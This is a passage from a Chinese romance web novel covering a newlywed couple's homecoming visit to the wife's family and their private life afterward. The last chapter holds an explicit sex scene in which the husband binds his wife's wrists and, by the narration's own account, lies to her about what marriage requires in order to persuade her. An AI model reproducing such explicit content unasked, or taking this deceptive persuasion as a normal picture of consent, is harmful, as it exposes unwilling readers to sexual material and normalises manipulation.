徐肃年虽然仍在休沐之中,可他仍然很忙,每天有大半的时间都把自己关在书房,盛乔曾给他过去送过两次茶,每次进去都看他在聚精会神地读书,看封皮都是什么兵法军书。
盛乔对这些不感兴趣,也不想打扰他,同他叮嘱几句就又去忙自己的事情了。
虽然两人已经成婚,但盛乔总觉得两人这么相处和婚前没有什么两样,甚至徐肃年反而对她更冷淡了。
她忽然想到从前在话本上看到的一句——
“越是得到,越是不知道珍惜。”
难道徐肃年也是这样的吗?
可他才得到自己两天而已。
盛乔有心与他说些什么,可每次才叫了一声徐肃年,就见他目光灼灼的看向自己。
纵使再迟钝的人,也能看到其中藏着多少温柔与情意。
盛乔心想,徐肃年明明就是喜欢她喜欢得不得了,怎么会不知道珍惜呢?
或许他最近只是太忙了。
这样想着,盛乔也不再纠结。
不过她其实也没有太多时间纠结,毕竟大婚三日之后就是归宁的日子,她一想到能回家去看阿爹阿娘,也就没心思再去思考徐肃年到底是怎么了。
归宁这日,盛乔难得起了个大早,醒来的时候天都还没亮呢,徐肃年也还没有醒,侧身搂着她的胳膊,睡得很沉。
睡着的徐肃年和平时又不太一样,若是往常,盛乔看到他的睡颜,定然要趴过去好好欣赏一会儿,可她今天一心只想着回家的事,根本无心欣赏男人的美貌,残忍地将他飞快推醒,“徐肃年!该起床了!”
实话讲,盛乔成婚之后的日子过得还是很不错的。虽然徐肃年有父母兄弟,可他是自己一个人单独开府,盛乔不需要伺候公婆,更不需要礼待小叔,整个侯府都是她和徐肃年的,想做什么就做什么,尤其这几日又太疲惫,每天几乎都是睡到日上三竿才起。
徐肃年从前在洛州就知道她贪睡,有时候为了多睡会儿觉,连早膳都不吃,后来还是他每天去官厨拿一些包子团子之类的,让盛乔下了课能垫一垫肚子。
他也是第一次看到盛乔起得这么早。这几日他紧挨着盛乔入睡,却又不敢做什么,几乎日日都是夜半三更才睡过去,白起起床后连晨练的精神都没有了。
没想到今天一大早就被盛乔叫起来,他难忍倦意,可是看着盛乔亮晶晶的眼睛,还是很快坐起来,在她的唇上亲了一口,然后问道:“就这么高兴?”
有他这磨蹭的功夫,盛乔连外出的衣裳都已经换好了,她站在床边,使劲拉着徐肃年的胳膊,一边把他从被子里拽起来,一边回答道:“当然开心了,我都好多天没见到我阿爹阿娘了。”
好多天……
不是才三天吗?就算加上新婚那日也不过四天罢。
说实话,徐肃年完全理解不了盛乔对爹娘如此眷恋,毕竟他是一年到头都不怎么回家的人,和丹宁长公主上次坐在一起用膳是什么时候,他自己都想不起来了。
想到丹宁长公主,徐肃年的心情微沉,心底无声地叹了口气,不过转头看着盛乔这么开心,他也不由得跟着唇角上扬了起来。
他顺着她的力道坐起身,一边穿衣服一边对盛乔说:“那日后就多回去几次。”
听到这话,盛乔先是一愣,而后又有些犹豫,说:“这样好吗?女子成婚之后可以一直回娘家么?”
“有什么不可以?”徐肃年说得稀松平常,“这家里由夫人当家,连我都得听夫人的,底下还有谁还敢驳斥你不成。”
“至于外头的人,不过是羡慕嫉妒罢了,又何必在意。”
盛乔听到这话禁不住一笑,“你怎么这么会说话。”
徐肃年说:“能娶到这么漂亮的小娘子,是我的福气,难道我还要拘着你么?”
说着,他微微低头,想去亲盛乔的嘴唇。
盛乔当然也想和他贴在一起,可碍于一会儿还要出门,她强忍着抬手将他推开。
“快去穿衣服,我已经叫琉璃去准备早膳了,吃完我们就出发。”盛乔说。
看她这迫不及待的样子,徐肃年无奈地摇了摇头,但还是强行按着她,在她的额头上亲了一下,这才起身去耳房洗漱了。
房间里就剩盛乔一个人了,可她却还一直维持着方才的动作没动,倒不是因为那个吻,而且觉得徐肃年刚刚低眉敛目的模样,颇有些眼熟。
可是在哪见过呢?
还没等她想出来,琥珀走了进来,“小娘子,饭菜都预备好了。”
盛乔立时回神,说:“先摆上罢,等侯爷梳洗好,我与他一并吃。”
用过早饭,才不过卯正时分,外头的天才刚刚
亮起来。
徐肃年有些犹豫,问:“这么早上门,会不会岳父岳母都还没起?”
盛乔却很笃定的摇了摇头,“阿爹阿娘知道我回去,定然早早就起了,我们快走吧。”
事实证明盛乔说的没错,当然不仅是盛怀义和郑夫人,知道今日是盛乔归宁的大日子,阖府上下除了已怀有身孕的崔氏,所有人都起了个大早,甚至盛泽和盛淙还专门到衙门告了假,就为了等候盛乔回家。
当然不止是两个兄长在,盛柳和盛槿也都还没回夫家,这两天一直宿在燕国公府,就是为了等着小妹带夫君回门。
一大早,所有人就都聚在明辉堂,说是给盛怀义和郑夫人请安,实际都翘首盼着阿乔回门的消息。
郑夫人心里也惦记得不行,可她也知道女儿的性子,于是提前对众人说:“估摸不会太早,阿乔贪睡……”
可一句话还没说完,外头已经有人急匆匆地跑进了院子,急声禀报道:“公爷,夫人,小娘子回来了!咱们小娘子回来了!”
“这么早?”盛怀义下意识先去看墙角的漏刻,既惊又喜。然后招呼一家人急急忙忙地直接迎了出去。
等他们到了门口时,正好端阳侯府的马车在门外停下。
为了陪盛乔,徐肃年今天也没有骑马,而是和盛乔一起坐马车来的。
马车停下之后,徐肃年先一步下了马车,一旁的随从撩开车帘,然后徐肃年朝里伸手,亲自将盛乔扶下了马车。
盛乔一跳下马车,立刻就要朝里面跑,不想先看到盛怀义和郑夫人等人出来,她的眼圈霎时红透了,拎着裙摆直接冲过去,“阿爹!阿娘!”
在看到女儿的那一瞬间,郑夫人也跟着掉眼泪了,忙迎上去把女儿接住。
盛怀义还算淡定,且在心里打定主意不能失态,毕竟今天回来的不是只有阿乔,连带着徐肃年也跟着上门了。
可等阿乔冲过来抱住他们的时候,盛怀义也没忍住有些哽咽了。他再顾不得那许多,伸手将女儿揽住,颤声唤了一声,“阿乔!”
一家人就这样在门口挤成一团,哭的哭,抹泪的抹泪,就连旁边候着的门房看着都有点难受,抓着袖口擦了擦眼睛。
徐肃年很知趣地没有上前,给他们一家人相处的空间,同时心里也有无数的疑问。
他甚是不解,阿乔不过是成婚了,又不是什么生离死别,何至于闹成这幅模样。
别人也就罢了,连盛怀义这样的人居然都在下人面前抹起眼泪来,这成何体统。
徐肃年无法理解这样的感情,或者是是有些不知所措,无法融入。
好在盛家人也没把他仍在一旁晾太久,今日最冷静的大郎盛泽没多久就回过神来,看着下头立着的徐肃年,向众人示意,“咱们的新姑爷还在底下站着呢,阿爹阿娘,你们可别忘了这位新女婿。”
听到这话,盛怀义才算是终于回过神,他飞快地敛了敛眼底的泪意,朝着徐肃年说:“肃年来了,一路辛苦了。”
徐肃年按规矩呈上准备的礼物,然后上前行礼道:“见过岳父,岳母。”
盛怀义这会儿已经完全缓了过来,他拍了拍女儿的肩膀,然后不动声色地将他推到郑夫人的跟前,说:“贤婿快进来。”
连两个娘子都在,盛家今天难得人口比较齐全,因此特意分成了男女两波。
徐肃年和盛泽、盛淙陪盛怀义去了前院说话。
盛乔则跟着母亲和两个姐姐来到了后头的明辉堂厢房。
进屋第一件事,郑夫人就是拉着盛乔的手,将她上上下下地打量了一遍,确定她没有明显的消瘦,这才问:“怎么样,这几天徐肃年对你好吗?”
盛乔自然是点头,耳廓还爬上了几缕不易察觉的粉。
看着女儿红润娇羞的模样,郑夫人总算是松了口气。
虽然当初两人之间到底发生了什么她很清楚,可还是担心阿乔婚后过得不好。
此时见阿乔自己点头,又见她的小脸仿佛比成婚前还圆润,一颗心总算落了地。
“对你好就行。”郑夫人紧紧攥着盛乔的手,说,“他对你好,你也要好好待他,夫妻之间要和睦相处,彼此宽容,知不知道?”
这话在婚前郑夫人不知念叨了多少遍,盛乔听得都快要起茧子了,可此时此刻,她还是认真地点了点头,说:“阿娘放心罢,我晓得的。”
几个人凑在一堆儿说话,盛乔更是喋喋不休地给母亲和姐姐们讲端阳侯府的情况。
不知过了多久,盛柳和盛槿都很知趣地说要告退,想把时间都留给郑夫人。
郑夫人也的确憋了很多话想问盛乔,等她们两个一走,立刻拉着盛乔的手,让她坐得离自己更近些,然后低声问道:“你们两个圆房了吗?徐肃年如何?”
盛乔虽有些不好意思,但也知阿娘是关心自己,于是将这几日的情况照实说了一遍。
郑夫人起先还笑着,等听到盛乔说两人成婚这几天就做了那么一次之后我,笑容一下子就僵住了。
他这时应该正是血气方刚的年纪,两人之间又两情相悦。在这种事上,怎么会那么克制?
郑夫人忽然担心起来:这徐肃年,不会是不行罢?
第63章 母亲你又骗我是不是?
在家里的时间总是过得很快,盛乔觉得自己还没和阿娘说上几句话,就听到冬岁过来传话,“夫人,小娘子,快午时了,该用午膳了。”
今天家里人多,午膳专门挪到了明辉堂前头的花厅,但因为没有外人,又是女儿回门,便没有刻意分开两桌,而且让底下人另搬来了一个大桌子,一家人都坐在一起。
盛怀义和郑夫人自然是坐在上首,盛乔紧挨着郑夫人坐着,徐肃年坐在她的旁边,下面才是盛泽夫妻,盛淙夫妻以及盛柳和盛槿几人。
郑夫人给盛乔夹了菜,然后对盛乔说:“别顾着自己,给端阳侯也夹菜。”
徐肃年适时开口,“岳母,不必如此客气。唤我少安罢。”
郑夫人从善如流,“好,少安。我们也不知你都爱吃什么,若有什么不合口味的一定要告诉我们。”
郑夫人语气温和,让徐肃年想到了丹宁长公主,在他的面前,丹宁长公主也是这般温柔。
他夹菜的动作微微一顿,不过并没有在人前显露出来,笑着应下这句。
倒是一旁的盛乔很是不满,哼了一声,说:“他才不是不会委屈自己呢。”
徐肃年听着盛乔的话,不由得抬眼看了盛怀义一眼,然后在桌子底下悄悄碰了一下盛乔的膝盖。
盛乔感觉到他的动作,默默扭头看了他一眼,虽然没说话,可眼里明显写着无声的控诉。
徐肃年看着好笑,但当着这许多人的面,也不能说什么,最终只是给她夹了一筷她爱吃的蟹粉翡翠卷。
饭桌再大,终究是所有人都在一起坐着,两人的小动作又不算隐蔽,所有人都看在眼里。
有些小动作是骗不了人的,看来两人的确恩爱,徐肃年也的确对阿乔很好。
新婚的小夫妻关系亲近,是盛怀义和郑夫人最乐意见到的,提着的心总算放下了些。
用过午膳,郑夫人便叫盛乔和徐肃年回房去午睡。
盛乔却舍不得,抱着郑夫人的手,说:“一会儿就要回端阳侯府去了,若是再睡觉,和阿娘说话的时间岂不是又少了点。”
女儿从前就是这么黏她,从洛州回来之后,好像又有更上一层楼的架势。
郑夫人无奈,对盛乔说:“你陪我说话倒是开心了,人家少安怎么办?你已经成婚了,也要体谅夫君呀。”
盛乔却满不在意地说:“如果他很困的话,让他自己去睡觉好了,反正他又不是没去过我的荣雪园。”
“你这孩子。”
郑夫人还打算说些什么,不料一旁的徐肃年倒是先开口了,“岳母,不必苛责阿乔,她一向是这个性子。就让她与你多说说话罢,我也没有睡意,去前头和岳父下棋。”
说着就要告退去前院,盛乔却上前两步拉住他,“方才我都看到你偷偷打呵欠了,还说不困?”
徐肃年一愣,没想到盛乔在和家人待在一起的时候,还能注意到自己。
盛乔却不知道他心里在想什么,只看到他愣愣的发呆,推了
推他的胳膊,说:“你去荣雪园歇歇罢。”
哪有陪着夫人回门的女婿自己跑去睡觉的,这实在太不合规矩。
徐肃年有些犹豫,却听到郑夫人也在旁开了口,“去休息罢少安,你和阿乔都已经成婚了,何必在意这些虚礼,我和你岳父都不是会计较的人。”
徐肃年仍有些犹豫,郑夫人干脆推了推阿乔的胳膊,说:“你送他过去。”
徐肃年怎能让盛乔送自己,闻言连忙道:“让阿乔和岳母说话罢,我自己过去就是了。”
荣雪园离着明辉堂不远,徐肃年走了不到一盏茶时间就到了。
除了两人大婚那日,这还是徐肃年第一次从正门踏进来。想到两人婚前经历的那些事,徐肃年还有一种恍如隔世的感觉,没想到一眨眼,两人就已经成婚了。
知道今日是盛乔归宁的日子,郑夫人早就派人将荣雪园上下重新打扫了一遍,还提前派冬岁去传了话,守在内室的婢女早就将被褥准备好了。
但毕竟是在燕国公府,徐肃年本以为自己睡不着的,没想到才躺下没多久就睡着了,甚至还做了一个长长的梦。
他梦到了丹宁长公主。
如今长安城的百姓都说,这世间最顺遂幸福的人,丹宁长公主敢说第一,就没人敢说第二了,便是高高在上的崇安帝也不如她。
可是徐肃年还清晰地记得,他的母亲也是吃过苦的。
那时候崇安帝皇位不稳,连带着自己的亲妹妹也地位飘摇,丹宁长公主空守着一个偌大的公主府,实际上什么都没有。
没有锦衣玉食,没有仆妇成群,甚至不知未来在何处。
现在许多人甚至不知道丹宁长公主也有过这样落魄的时候,她和驸马两人也都视那时的经历为毕生的屈辱,平时自己不会提,更不准下人们提起此事。
久而久之,连丹宁长公主自己都不怎么记得那时候的事了。
可是徐肃年时常会想,相比于现在,他最喜欢的还是小时候。
天真、单纯,而且什么事都不知道。
不过和现实的真实回忆不一样的是,梦里的情节都是一片一片的,完全不能连贯成一个故事,唯一的共同点就是丹宁长公主在面对他的时候,始终那么温柔。
用膳给他夹菜,天冷给他加衣,他用功读书的时候,丹宁长公主就坐在他身后默默地看着他。
他少时身体不好,时常生病,每每熬了药来,丹宁长公主都会亲自地给他喂药,在他最难受的时候,抱着他低声地唤:“少安,少安。”
但徐肃年还是在梦中惊醒了。
醒来之后他第一反应就是看向窗外,才发现天都已经黑了,他居然睡了这么久。
徐肃年有些懊恼地坐起身,走到桌边给自己倒了一杯冷水喝。
已经过去这么久了,盛乔还没回来,估计是和郑夫人说话说得忘了时间。
徐肃年疲倦地揉了揉眉心。
越长大,徐肃年便越少再做这样的梦了。今天大约就是因为见到了郑夫人,才会梦到丹宁长公主,因为两人的气质实在太像。
屋内寂静无人,徐肃年握着水杯坐在桌前发呆。
大约是刚睡起来还没有完全清醒,徐肃年难得有这样迷蒙的时候,连盛乔走进来都没有发现。
盛乔一进来就看到徐肃年背靠在美人榻上发呆,他手里握着一杯水,却没有要喝的意思,眼看着都要倾洒出来了,可他还全然没有发现。
盛乔走过去,接过他手里的水杯,奇怪地看着他,“徐肃年,你怎么了?”
听到盛乔的声音,徐肃年才恍然回过神,他看了看被水洒湿的袍角,随手拂了拂,掩饰道:“没什么。”
在有些事上,盛乔虽然有些迟钝。可是在有关徐肃年的事上,她却一向敏锐。
何况徐肃年此时的情绪变化这么明显,盛乔才不相信他这句类似敷衍的回答,哼了一声,说:“你又骗我是不是?”
这话可就严重了,徐肃年立刻否认,“哪里骗你了?”
盛乔干脆在徐肃年身边坐下,和他四目相对,认真地端详起他的表情来,半晌问道:“是不是我今日没陪着你,你不高兴了?”
“这是什么话?”徐肃年笑着揉了揉她的头,“我又不是小孩子,那需要你时时刻刻地陪着我?”
“何况,你是和你的家人在一块,我看着也替你开心。”
说这话的时候,徐肃年的语气很平静,可是盛乔还是从中察觉到了那么一点的不同寻常。
其实不只是现在,今天很多次,徐肃年都有点不太对劲。
盛乔认真地回想了半天,然后说道:“今日来了我家,不若明日我们回公主府罢?”
听到公主府,徐肃年愣了愣,“回去有什么事吗?”
这是什么话。盛乔很不赞同地嗔了他一眼,“你虽然已经独自开府了,可是公主府还有你的父母在,还有你的两个弟弟在,依旧是你的家呀。又不是非要有事才能回去。而且,丹宁长公主不是快过生辰了么?届时必定会有宴会在,我回去还能多帮衬帮衬公主。”
没想到盛乔还知道丹宁长公主的生辰,徐肃年颇有些意外,“你知道母亲的生辰是哪一日?”
“不是十月十六么?”盛乔记得很清楚,“都不必我去问,成婚前我阿娘都告诉我了,丹宁长公主是你的母亲,她的生辰我当然记得了。”
听到这话,徐肃年颇有些动容。盛乔看着天真不知事,可是真正相处下来,才知道她是多么的细心周到。
他无声地叹了口气,然后伸手将她揽在怀里,大手一下一下地抚着她的头发。
原以为他是有话要说,可等了半天,盛乔也没听到徐肃年开口说半个字。她缩在他的怀里,忍不住敲了敲他的胸口,问道:“你到底怎么了,怎么觉得你这么不开心?”
徐肃年当然不会承认,胡扯道:“只是想到十日的休沐已经过去了一半,有些烦躁罢了。”
“真的吗?”盛乔怀疑地抬眼看他。
徐肃年最大的本事就是,多么胡扯的话也能说出十二分的真诚来。
他看着盛乔的眼睛,认真地点了点头,说:“当然了,我真想一辈子陪在你的身边。”
徐肃年不提还好,一提起来,盛乔也忍不住有些难过了。
虽然她早就知道两人成婚之后,徐肃年不可能每天都陪着她,他有他的公务,她也有自己的事情要做,阿娘先前给她的那几间铺子她还没完全了解呢。
可是成亲之后的这几日,两人几乎日日地腻在一起,如今忽然说这样的日子只剩下几天了,盛乔就打心眼里难过。
搂着徐肃年脖颈的手臂也不由得收紧,盛乔忍不住抱怨,“还说是休沐呢,这几天你也没少把自己关在书房忙碌,这也算休沐吗?”
说到这,徐肃年眼底难得闪过一丝心虚。
他这几日在书房看书,明面上是什么兵法军书,实际上芯子早被他换成了别的,都是叫底下人给他去市井的楚馆柳巷里淘来的杂书。
那日盛乔对他的评价他可一直没忘,只能勤学之后,能对着他的小娘子重新施展一下自己新学到的本事。
这样想着,徐肃年看着盛乔的眼神就不自觉地暗了下来,眼底藏了点不能深究的占有欲。
他紧紧环着她的细腰,大掌贴着她的身侧轻揉了两下,然后低声问道:“阿乔,我们什么时候回家?”
第64章 苦学看书也让人陪?
长安的规矩,女子初次回门是不能住在娘家的,拖得再晚也还是要回端阳侯府,何况以后也不是不回来了。
想通了这点之后,盛乔便也没再磨蹭,和徐肃年一道回明辉堂与盛怀义和郑夫人告辞。
盛家人虽有不舍,却也不能打破规矩,于是只叮嘱了几句,便道:“好,用过晚膳就早些回去罢。”
很快就是晚膳时候,厨房早已预备好了饭菜,有了中午那一顿,郑夫人也大约能猜到徐肃年的口味,于是晚上特意上了一道清甜的河鲜。
徐肃年深感其心,虽没说别的什么客套的话,但话里话外与这一家子都亲近多了。
用过晚膳,盛怀义便吩咐人去备车,郑夫人拉着盛乔的手,说:“阿乔,阿娘有几句话想单独对你说。”
盛乔跟着郑夫人来到明辉堂的厢房,好奇地问道:“阿娘,你想对我说什么。”
郑夫人关上门,然后从一旁的柜子拿出一个匣子,
递给盛乔。
盛乔打开一看,发现里面竟然是两包药,她愣了愣,“阿娘,这是什么?”
郑夫人自得知徐肃年这几日在房中事上并不殷勤之后,心里便隐约有些怀疑,只是碍于女儿的面子,不能直接说出来。
于是趁着下午盛乔陪徐肃年的那一会儿功夫,特意命冬岁去外面找了大夫,特意配了药方,并抓了两副药。
没抓太多,是怕她猜测有误,反而吃出病来,就算什么事都没有,只是吃上两次,也当作是强身健体了。
“这是给男人滋补的汤药。”郑夫人委婉地嘱咐女儿,“若是平时徐肃年与你在一起的时候,面露疲惫之色,或者力有不逮,你就给他喝一副,知不知道?”
盛乔点了点头,表示记下了。
今日早早出门,又在家里和阿爹阿娘说了一天的话,几乎没有半刻的消停,就算是铁打的人也该累了。
回去的马车上,盛乔就靠在徐肃年的怀里睡着了,直等马车进了门都没有醒。
跟着的婢女想要叫醒盛乔,徐肃年拦住了她们的动作,先钻出了马车,然后将盛乔一把抱了起来,一直抱回了嘉禾轩。
盛乔睡得很沉,一路被抱回去都没有醒,直睡到月上柳梢头,她才悠悠转醒。
盛乔睡了多久,徐肃年就在旁边陪了多久,不过他知道盛乔睡着的时候不能有光,因此没有靠得太近,也没在在床边坐着,而是在窗边的美人榻上靠着看书。
盛乔醒来的时候还有些迷蒙,疏懒的撩开床帏一角,正看到坐在对面榻上的徐肃年。
他只点了一盏灯,暖黄的灯光正照在榻边,光晕正将徐肃年的上半身笼罩其中,将他身上冷肃的气质大大削弱,反衬得他像个温润如玉的公子哥了。
身后又正好是一扇宽大的格子窗,郎君入画,分外赏心悦目。
盛乔趴在床边欣赏了半天,不知过了多久,榻上的徐肃年轻动了一下腿,合上了书册,转头看了过来。
没想到徐肃年会发现自己,盛乔先是一愣,而后立刻反应过来,缩回了床上。
外间传来脚步声,徐肃年走过来,轻轻拨开了床帏,正看到要往被子里钻的兔子。
徐肃年捉住被子的两头,将盛乔连着被子一块抱到了怀里。
刚才还是个活蹦乱跳的兔子,这会儿已经是一只被网进了被子里的鱼,扑腾半天也挣扎不开,只能被徐肃年牢牢掌在怀中。
徐肃年一手抱着她,一手将帷幔全部扯开,远处的灯光隐隐照到床边,虽然不算明亮,却足够他们看清彼此。
今天的徐肃年和前几日都不太一样,成婚这几日,徐肃年一直都没有主动地对她这么亲密过。
骤然如此,盛乔还颇有些不好意思,微微垂了眼,低声说道:“你不是在看书吗?”
徐肃年轻笑一声,说:“你那么看着我,我还能看得进去书吗?”
原来他早就发现了,盛乔哼了一声,不满道:“我才没有看你呢。”
她骄傲得不想承认我,徐肃年也没有反驳,把她从被子里挖出来,扔开被子,让她穿着中衣躺到自己的怀里,“睡了那么久,饿不饿?”
大约是睡过了头,盛乔摇了摇头,说:“一点都不饿。”
“不饿也好。”徐肃年抱着她走到另一侧的美人榻上,让她倚靠着自己坐下,说,“陪我一起看书罢。”
这几日为了归宁的事,盛乔几乎忙得脚不沾地,两人也很少这么贴在一起腻着了。
现在能这么靠着徐肃年,盛乔当然是开心的,唇角扬起的弧度几乎藏都藏不住,偏偏嘴上不承认,“你怎么回事,看书也要人陪?”
徐肃年如何不了解她的性子,故意示弱,说道:“看了一下午,眼都看花了,阿乔,帮我念,好不好?”
叫她陪他一起看也就算了,竟然还要她帮着念出来。
盛乔哼一声,嗔道:“干嘛,你是不认识字吗?”
不过话是这么说,盛乔还是乖乖地捡起了徐肃年扔在一旁的书册。
他原以为徐肃年是在看什么兵书兵法之类的,毕竟以前徐肃年就十分偏好这类的书,就算不是,大约也在看什么杂谈史记,可随手翻开看了两行之后,才发现这竟是一本话本。
徐肃年竟然也看话本,总不会是从她的藏书堆里拿的罢。
盛乔翻回封皮去看,却见上面写着——《如意野史》。
这是什么?
盛乔确定自己没看过,那徐肃年是从哪弄来的?
盛乔奇怪地回头看了徐肃年一眼,然后重新翻回他看到的那一页,当真一字一句地念起来——
“说起如意娘子,京中无人不知,虽然年轻,却娇嫩得如春日的桃花,平日在街上款款走过,凭他是贩夫走卒,还是王孙公子,都不能不多看几眼……”
盛乔起先是好奇,念起来也觉得有趣,甚至像听书似的抑扬顿挫。可念着念着,她就觉出些不对了。
她往常看得话本,都是女主角出来没多久,就遇到男主角,两人偶然相遇,怦然心动,笔墨重点都放在描写故事情节的发展上。
可是这本书却奇怪,女主如意娘子出来没多久,就和西街胭脂铺的少掌柜生了情,两人全无男女羞涩之态,竟然当晚就约了在花园秉烛夜游,甚至连遣词造句都跟着香。艳了起来。
“如意偏头看了赵三郎一眼,抬腿轻踹了他一脚,月白的绫裙自腿上滑落,露出红彤彤的绣鞋来,赵三郎看她一眼,抬手一把掐住了她的脚腕……”
盛乔的声音越来越小,到最后几如蚊讷。盛乔毕竟连郑夫人给她的那两本册子都完整看完了,又经历了男女之事,如今也不是单纯无知的小姑娘了,她隐隐约约明白了什么,回头看了徐肃年一眼,虽没再念出声,但到底继续看了下去。
但只看了两段,她就看不下去了,像是被火烫到似的一把将书扔开,然后捡起身边的团枕使劲砸在了徐肃年的胸口,“你,你……轻浮!孟浪!”
徐肃年早能猜到她的反应,此时面上坦然得不得了,无辜道:“我怎么了?”
盛乔看他还故意装傻,不由得又羞又气,捡起那本书册也扔过去,“你怎么能看这些东西!”
徐肃年精准地接住那册书,放到一旁的小桌上,甚至不忘抚平封皮上被盛乔抓出的褶皱。
盛乔看他的动作更生气了,再也不想理他,起身就要走。
徐肃年抓着她的胳膊把她扯回来,“怎么又生气了,这些东西你能看我,我就不能看了?”
盛乔本就大的眼睛几乎要瞪出来,“我什么时候看过这些腌臜之物了!”
徐肃年说:“你我大婚圆房时,你说你懂,难道不是看过书?”
这,这怎么能相提并论。
盛乔试图反驳,“我,我那是正经东西,只是为了你我夫妻圆房才看的!”
不料徐肃年也振振有词,“我也是为了你我夫妻之事,才会看的。”
盛乔觉得他简直是胡说八道,“一派胡言,我们早就圆过房了,你还看这些做什么!”
不料徐肃年竟还很委屈似的,低声道:“可你不是说不舒服不喜欢吗?”
他叹口气,很认真地检讨起自己来,“都怪我,怪我成婚之前没有认真学习一下,又没有经验,才让你那日觉得不舒服的。”
把这件事拿出来
谈论,盛乔总觉得怪怪的,可是听着徐肃年认真的语气,她又不知道要说什么,只能尴尬地咳了一声,然后说:“好了不要说了。”
徐肃年却道:“为什么不说,这件事是你我成婚之后最重要的事,若是一直不舒服,你岂不是再也不想和我亲近了?”
盛乔茫然不解,“这事不是已经做过了吗?”
徐肃年认真地骗她,“一次哪够,夫妻为表亲密,应当日日都做才对。”
“你,你在骗我罢……”盛乔的声音莫名弱了下来。
徐肃年叹一声,“想我也是御封的端阳侯,名门之后,若不是为了你我夫妻阴阳相谐,又何必冒着被底下人嘲弄的风险,让他们去搜罗这些禁书去看呢?”
他的语气低落,还带着隐隐的自嘲之意,盛乔不知不觉就被他带跑了,当真顺着他这话思索起来。
半晌才傻傻地问道:“所以,你是为了我?”
看着小姑娘天真纯澈的样子,徐肃年没有半点愧疚之心。他故意没有回答,只是低头在她唇上亲了一口,说:“阿乔放心,我已经闭门钻研了几日,这次一定会让你舒服的。”
虽然这话听着还是怪怪的,可是盛乔的抵触之心的确没有那么重了,只是心里还抱着一点怀疑,徐肃年抱着盛乔的腰,将她扭了个个,让她面对着自己坐着。
两人也不是第一次这么亲密,可刚刚才提到那些事,盛乔此时和他面对面,还觉得有些不好意思。
她抬手捂住双颊,娇声命令,“你不许看我。”
徐肃年无声地勾了勾唇,手上稍稍用力,就将盛乔勾的更近了一点,让她直接坐到了自己的腰腹位置。
即便只有过那一次的经验,但也足够盛乔分辨出徐肃年现在的状态了。
她心里窘迫,只觉得现在的情形光是捂脸都不够了,干脆埋头直接藏到了徐肃年的肩膀上。
徐肃年单手抚着她的后背,动了动腿,让她直接顺着大腿滑坐到自己的怀里。
另一只手慢慢往后,已经摸到了她的裙边,口中却还在装君子,“阿乔,我们今日再试一次,好不好?”
第65章 桃汁怎么哭了?
面对徐肃年如此诚挚的语气,盛乔说不出拒绝的话。
最重要的是,盛乔在徐肃年怀里腻了这么半天,也觉得身上有些发热。她说不清这是什么感觉,只知道遵循身体的本能,让自己靠得离徐肃年更近一些。
徐肃年如何感觉不到,他只觉得身体烫得像是滚了热水似的,浑身的血脉都要涨开似的。
可他强忍着什么都没有做,翻身将盛乔压在榻上。
美人榻白天用来躺躺坐坐也就罢了,做这种事,盛乔觉得有些难为情,毕竟周围没有遮掩,要完全暴露在灯光之下,她实在难为情。
脊背刚挨住榻面,盛乔便立刻去扯徐肃年的袖子,“别在这……”
她不住地往拔步床的方向看,徐肃年却仍旧将她按到了美人榻上,匆忙解释了一句,“一会儿还要睡觉呢。”
盛乔根本没懂徐肃年这话是什么意思,徐肃年也不解释,只慢慢解开盛乔的衣裳。
上次也是这样,盛乔已经接受了这样的步骤,待徐肃年做完,也想要伸手帮徐肃年脱衣服,不料徐肃年一把按住了她的手,“不急。”
盛乔茫然不懂他的意思,眨了眨眼。
徐肃年握着盛乔的手慢慢往上,然后将她的手臂拉高,最后慢慢按到了榻上。
盛乔仰面朝上就有些没有安全感,觉得自己像一只待宰的活鱼,如今两只手臂又被制住,她更加难受,垂在榻沿的小腿不自觉地挣了挣。
徐肃年空着的那只手顺着来到盛乔的腰间,捡起刚刚接下的她的腰带,将盛乔的两只手腕一圈圈缠住,然后在盛乔惊讶的目光中,轻轻拨。开她的腿。
“徐……”
为何要将她绑住?盛乔不安地动了动身子。
徐肃年柔声安抚,“是怕你会挣扎着磕到自己。”
他的语气温柔,盛乔慢慢安定下来,徐肃年从美人榻上下来,半跪在盛乔身前。
盛乔的上半身靠着方才被她扔出去的软枕上,因此视线也跟着略略抬高,能看到跪在脚踏上的徐肃年。
“你……”
她不明白他这是要做什么,想要问,却只来得及开口一个字,就感觉小腿被人攥住,然后就只能看到徐肃年的头了。
突如其来的冲击让盛乔头脑一片空白,再来不及去问任何问题了。
她想要尖叫,又怕被外面守着的琥珀等人听见,便想拿手捂了嘴,却忘了自己的两只手腕被徐肃年绑起来了,此时动也不能动,当成成了砧板上的一条鱼。
不,她比鱼更惨。
鱼只需要一刀就能了结了生命,死后那些开膛破肚的事便都毫无察觉了。
而她像一颗刚刚从树上摘下来的桃子。
桃子被一片一片地剥了皮,被迫露出晶莹的果肉,然后那剥皮的人却又不吃,只慢吞吞地吮吸桃肉的汁水,直到最后,将汁水舐得干干净净,干巴巴的果肉包不住任何东西,最后竟然连桃核都露了出来。
盛乔起先还咬着唇瓣,后来即便咬唇也没用了,根本藏不住声音。
何况徐肃年每隔一会儿又会问她舒不舒服,喜不喜欢,盛乔不想答,奈何桃汁都要榨干净了。
不知过了多久,徐肃年才终于将她松开,盛乔却还沉溺其中,意识都有些涣散。
美人榻泡了水,已经湿透了,但是徐肃年毫不嫌弃地坐到盛乔身边,解开她的手腕,然后想去亲他。
盛乔看着他仍旧湿润的嘴唇,羞愤欲死,眼泪都出来了。
徐肃年很无辜,伸手给她抹眼泪,“怎么哭了?”
盛乔虽然没力气,但还是狠狠地推开了她的手,虚弱地生气道:“我一辈子不要见到你了。”
徐肃年明知道她是为什么,却仍旧刨根问底,“是不舒服吗?”
盛乔咬唇不说话。
徐肃年点点头,一副反思的模样,说:“大约还是我学的不到家,待我再认真钻研几日,定能让夫人满意。”
如今已经让她欲死欲活了,若是再钻研下去,只怕她真的活不成了。
盛乔连忙抓住他的手,声音里还带着黏腻的哭腔,“不用……”
“不用什么?”
“不用,不用再学了……”
“那阿乔到底满不满意?”徐肃年认真求教。
盛乔仍是说不出口,最终只颤声点了点头-
这一天折腾过去,盛乔足有好几天没有理会徐肃年,偏偏徐肃年就像没事人一样,依旧如往常那样对她。
可盛乔大约是一朝被蛇咬十年怕井绳,有时连徐肃年给她倒杯水,都能想到那日的事。
想到那日湿淋淋的美人榻。
难怪徐肃年不要在床榻上,否则盛乔连她们的床也都没脸去看了。
盛乔对徐肃年发誓,一辈子就不会再和他做这样的荒唐事。
可不知为什么,当日的事就像在盛乔身上烙下了疤痕似的,平时不碰也就罢了,可若是想起来,也总觉得痒痒的。
